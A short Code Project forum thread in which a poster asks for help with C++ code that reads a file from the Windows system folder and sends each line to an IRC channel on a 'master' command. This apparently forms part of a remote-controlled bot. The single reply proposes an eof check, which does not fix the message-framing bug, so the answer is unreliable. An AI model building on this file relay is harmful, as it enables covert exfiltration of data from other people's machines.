Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse
Code Project
  1. Home
  2. General Programming
  3. C / C++ / MFC
  4. string help

string help

Scheduled Pinned Locked Moved C / C++ / MFC
ioshelpquestionlounge
2 Posts 2 Posters 0 Views 1 Watching
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • D Offline
    D Offline
    dellthinker
    wrote on last edited by
    #1

    Hi all, im having trouble with the following code: void read(void){ const int buffer4=900; char buffer[BUFSIZ]={'\0'}; char sysfolder4[buffer4]; ifstream file; ExpandEnvironmentStrings("%systemroot%\\file.txt", sysfolder4, buffer4); file.open(sysfolder4, ios::in); if(file.fail()){ msg = "PRIVMSG " + chan1 + " file is not detected..\n"; SendToServer(msg.c_str()); } else{ msg = "PRIVMSG " + chan1 + " Listing file..\n"; SendToServer(msg.c_str()); while(file.getline(buffer, BUFSIZ)){ Sleep(500); msg = "\r\nPRIVMSG " + chan1 + " :" + buffer; // *** SendToServer(msg.c_str()); } file.close(); msg = "\nPRIVMSG " + chan1 + " :End of file."; SendToServer(msg.c_str()); } } Its suppose to read a file, and close when its done reading the file. However it reads the file, and finishes at the very last line, but stops until another command is entered and prints something un-wanted. Here's what i'd like to happen. [master] list sample [ client ] sample random text file. [ client ] test file reading. [ client ] read. [ client ] End of file. And here's what happens instead. [master] list sample [ client ] sample random text file. [ client ] test file reading. [ client ] read. [ master ] test [ client ] End of file.PRIVMSG #chan :This is only a test Can anyone tell me what could be wrong?? I've tried escape characters but they dont seem to do much, what could be wrong with the string buffer? Any help would be appreciated, thanx in advance!

    _ 1 Reply Last reply
    0
    • D dellthinker

      Hi all, im having trouble with the following code: void read(void){ const int buffer4=900; char buffer[BUFSIZ]={'\0'}; char sysfolder4[buffer4]; ifstream file; ExpandEnvironmentStrings("%systemroot%\\file.txt", sysfolder4, buffer4); file.open(sysfolder4, ios::in); if(file.fail()){ msg = "PRIVMSG " + chan1 + " file is not detected..\n"; SendToServer(msg.c_str()); } else{ msg = "PRIVMSG " + chan1 + " Listing file..\n"; SendToServer(msg.c_str()); while(file.getline(buffer, BUFSIZ)){ Sleep(500); msg = "\r\nPRIVMSG " + chan1 + " :" + buffer; // *** SendToServer(msg.c_str()); } file.close(); msg = "\nPRIVMSG " + chan1 + " :End of file."; SendToServer(msg.c_str()); } } Its suppose to read a file, and close when its done reading the file. However it reads the file, and finishes at the very last line, but stops until another command is entered and prints something un-wanted. Here's what i'd like to happen. [master] list sample [ client ] sample random text file. [ client ] test file reading. [ client ] read. [ client ] End of file. And here's what happens instead. [master] list sample [ client ] sample random text file. [ client ] test file reading. [ client ] read. [ master ] test [ client ] End of file.PRIVMSG #chan :This is only a test Can anyone tell me what could be wrong?? I've tried escape characters but they dont seem to do much, what could be wrong with the string buffer? Any help would be appreciated, thanx in advance!

      _ Offline
      _ Offline
      _anil_
      wrote on last edited by
      #2

      in side the while loop put an if statement to break the loop. the if statement should come before sending to server. in your case before Sleep like if( eof() ) { break; }

      Regards Anil

      1 Reply Last reply
      0
      Reply
      • Reply as topic
      Log in to reply
      • Oldest to Newest
      • Newest to Oldest
      • Most Votes


      • Login

      • Don't have an account? Register

      • Login or register to search.
      • First post
        Last post
      0
      • Categories
      • Recent
      • Tags
      • Popular
      • World
      • Users
      • Groups